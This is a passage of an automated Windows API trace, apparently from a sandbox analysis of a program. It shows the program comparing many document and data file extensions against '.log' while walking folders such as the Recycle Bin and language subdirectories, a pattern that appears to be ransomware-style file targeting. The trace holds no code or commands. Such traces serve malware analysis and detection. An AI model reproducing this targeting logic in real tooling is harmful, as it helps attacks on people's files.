lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".cr2") returned 4 [0157.999] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0157.999] lstrlenW (lpString=".crt") returned 4 [0157.999] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".crw") returned 4 [0158.000] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".cs") returned 3 [0158.000] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0158.000] lstrlenW (lpString=".css") returned 4 [0158.000] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".csv") returned 4 [0158.000] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".cub") returned 4 [0158.000] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dae") returned 4 [0158.000] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dat") returned 4 [0158.000] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".db") returned 3 [0158.000] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0158.000] lstrlenW (lpString=".dbf") returned 4 [0158.000] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dbx") returned 4 [0158.000] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dc3") returned 4 [0158.000] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dcm") returned 4 [0158.000] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dcr") returned 4 [0158.000] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".der") returned 4 [0158.000] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dib") returned 4 [0158.000] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0158.000] lstrlenW (lpString=".dic") returned 4 [0158.001] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0158.001] lstrlenW (lpString=".dif") returned 4 [0158.001] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0158.001] lstrlenW (lpString=".divx") returned 5 [0158.001] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0158.001] lstrlenW (lpString=".djvu") returned 5 [0158.001] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0158.001] lstrlenW (lpString=".dng") returned 4 [0158.001] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0158.001] lstrlenW (lpString=".doc") returned 4 [0158.001] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.001] lstrlenW (lpString=".docm") returned 5 [0158.001] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0158.001] lstrlenW (lpString=".docx") returned 5 [0158.001] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0158.001] lstrlenW (lpString=".dot") returned 4 [0158.001] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0158.001] lstrlenW (lpString=".dotm") returned 5 [0158.001] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0158.001] lstrlenW (lpString=".dotx") returned 5 [0158.001] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0158.001] lstrlenW (lpString=".dpx") returned 4 [0158.001] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0158.001] lstrlenW (lpString=".dqy") returned 4 [0158.001] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0158.001] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.002] FindNextFileW (in: hFindFile=0x7f5218, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.002] FindClose (in: hFindFile=0x7f5218 | out: hFindFile=0x7f5218) returned 1 [0158.017] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.017] FindNextFileW (in: hFindFile=0x7f5558, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.017] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.018] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5758 [0158.040] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.040] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.040] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.041] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.041] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.041] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.041] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.047] FindClose (in: hFindFile=0x7f5758 | out: hFindFile=0x7f5758) returned 1 [0158.048] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.048] FindNextFileW (in: hFindFile=0x7f5558, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0158.048] FindClose (in: hFindFile=0x7f5558 | out: hFindFile=0x7f5558) returned 1 [0158.048] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.048] FindNextFileW (in: hFindFile=0x7f5158, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0158.048] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0158.048] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x7f5818 [0158.048] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.048] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.049] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.049] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5658 [0158.049] FindNextFileW (in: hFindFile=0x7f5658, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.049] FindNextFileW (in: hFindFile=0x7f5658, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.049] FindNextFileW (in: hFindFile=0x7f5658, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.049] FindClose (in: hFindFile=0x7f5658 | out: hFindFile=0x7f5658) returned 1 [0158.049] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.049] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.049] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0158.049] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5598 [0158.049] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.049] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.049] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.049] FindClose (in: hFindFile=0x7f5598 | out: hFindFile=0x7f5598) returned 1 [0158.050] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0158.050] FindNextFileW (in: hFindFile=0x7f5818, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0158.050] FindClose (in: hFindFile=0x7f5818 | out: hFindFile=0x7f5818) returned 1 [0158.050] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4230048 | out: hHeap=0x790000) returned 1 [0158.051] FindNextFileW (in: hFindFile=0x7f5158, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0158.051] FindNextFileW (in: hFindFile=0x7f5158, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0158.051] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0158.051] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x7f5718 [0158.061] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.063] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.063] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.063] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5598 [0158.064] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.154] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.154] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.154] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.154] FindNextFileW (in: hFindFile=0x7f5598, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.154] FindClose (in: hFindFile=0x7f5598 | out: hFindFile=0x7f5598) returned 1 [0158.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.154] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.154] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.154] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f53d8 [0158.772] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.772] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.772] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.773] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.773] FindNextFileW (in: hFindFile=0x7f53d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.773] FindClose (in: hFindFile=0x7f53d8 | out: hFindFile=0x7f53d8) returned 1 [0158.773] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.773] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.773] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.773] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f55d8 [0158.773] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.773] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.773] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.773] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.773] FindNextFileW (in: hFindFile=0x7f55d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.773] FindClose (in: hFindFile=0x7f55d8 | out: hFindFile=0x7f55d8) returned 1 [0158.774] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.774] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.774] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.774] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f58d8 [0158.774] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.774] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.774] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.774] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.774] FindNextFileW (in: hFindFile=0x7f58d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.774] FindClose (in: hFindFile=0x7f58d8 | out: hFindFile=0x7f58d8) returned 1 [0158.774] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.774] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.774] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.774] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f51d8 [0158.775] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.775] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.775] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.775] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.775] FindNextFileW (in: hFindFile=0x7f51d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.775] FindClose (in: hFindFile=0x7f51d8 | out: hFindFile=0x7f51d8) returned 1 [0158.775] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.775] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.775] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.775] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5318 [0158.775] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.775] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.775] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.776] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.776] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.776] FindClose (in: hFindFile=0x7f5318 | out: hFindFile=0x7f5318) returned 1 [0158.776] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.776] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.776] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.776] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f57d8 [0158.776] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.776] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.776] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.776] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.776] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.776] FindClose (in: hFindFile=0x7f57d8 | out: hFindFile=0x7f57d8) returned 1 [0158.777] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.777] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.777] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.777] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5258 [0158.777] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.777] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.777] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.777] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.777] FindNextFileW (in: hFindFile=0x7f5258, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.777] FindClose (in: hFindFile=0x7f5258 | out: hFindFile=0x7f5258) returned 1 [0158.777] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.777] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.777] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.777] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5458 [0158.778] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.778] FindClose (in: hFindFile=0x7f5458 | out: hFindFile=0x7f5458) returned 1 [0158.778] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.778] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.778] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5418 [0158.778] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.778] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x7f5418, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.779] FindClose (in: hFindFile=0x7f5418 | out: hFindFile=0x7f5418) returned 1 [0158.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.779] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.779] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f57d8 [0158.779] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.779] FindNextFileW (in: hFindFile=0x7f57d8, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.780] FindClose (in: hFindFile=0x7f57d8 | out: hFindFile=0x7f57d8) returned 1 [0158.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.780] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.780] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.780] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5758 [0158.780] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.780] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.780] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.780] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.780] FindNextFileW (in: hFindFile=0x7f5758, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.780] FindClose (in: hFindFile=0x7f5758 | out: hFindFile=0x7f5758) returned 1 [0158.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.780] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.780] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.780] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5318 [0158.781] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.781] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.781] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.781] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.781] FindNextFileW (in: hFindFile=0x7f5318, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.781] FindClose (in: hFindFile=0x7f5318 | out: hFindFile=0x7f5318) returned 1 [0158.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.781] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.781] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.781] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5618 [0158.781] FindNextFileW (in: hFindFile=0x7f5618, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.781] FindNextFileW (in: hFindFile=0x7f5618, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.782] FindNextFileW (in: hFindFile=0x7f5618, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.782] FindNextFileW (in: hFindFile=0x7f5618, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.782] FindNextFileW (in: hFindFile=0x7f5618, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.782] FindClose (in: hFindFile=0x7f5618 | out: hFindFile=0x7f5618) returned 1 [0158.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.782] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.782] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.782] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5298 [0158.782] FindNextFileW (in: hFindFile=0x7f5298, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.782] FindNextFileW (in: hFindFile=0x7f5298, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.782] FindNextFileW (in: hFindFile=0x7f5298, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.782] FindNextFileW (in: hFindFile=0x7f5298, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x7f5298, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0158.783] FindClose (in: hFindFile=0x7f5298 | out: hFindFile=0x7f5298) returned 1 [0158.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x7f5718, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0158.783] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0158.783] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x7f5458 [0158.783] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0158.783] FindNextFileW (in: hFindFile=0x7f5458, lpFindFileData=0x38af800 | out: 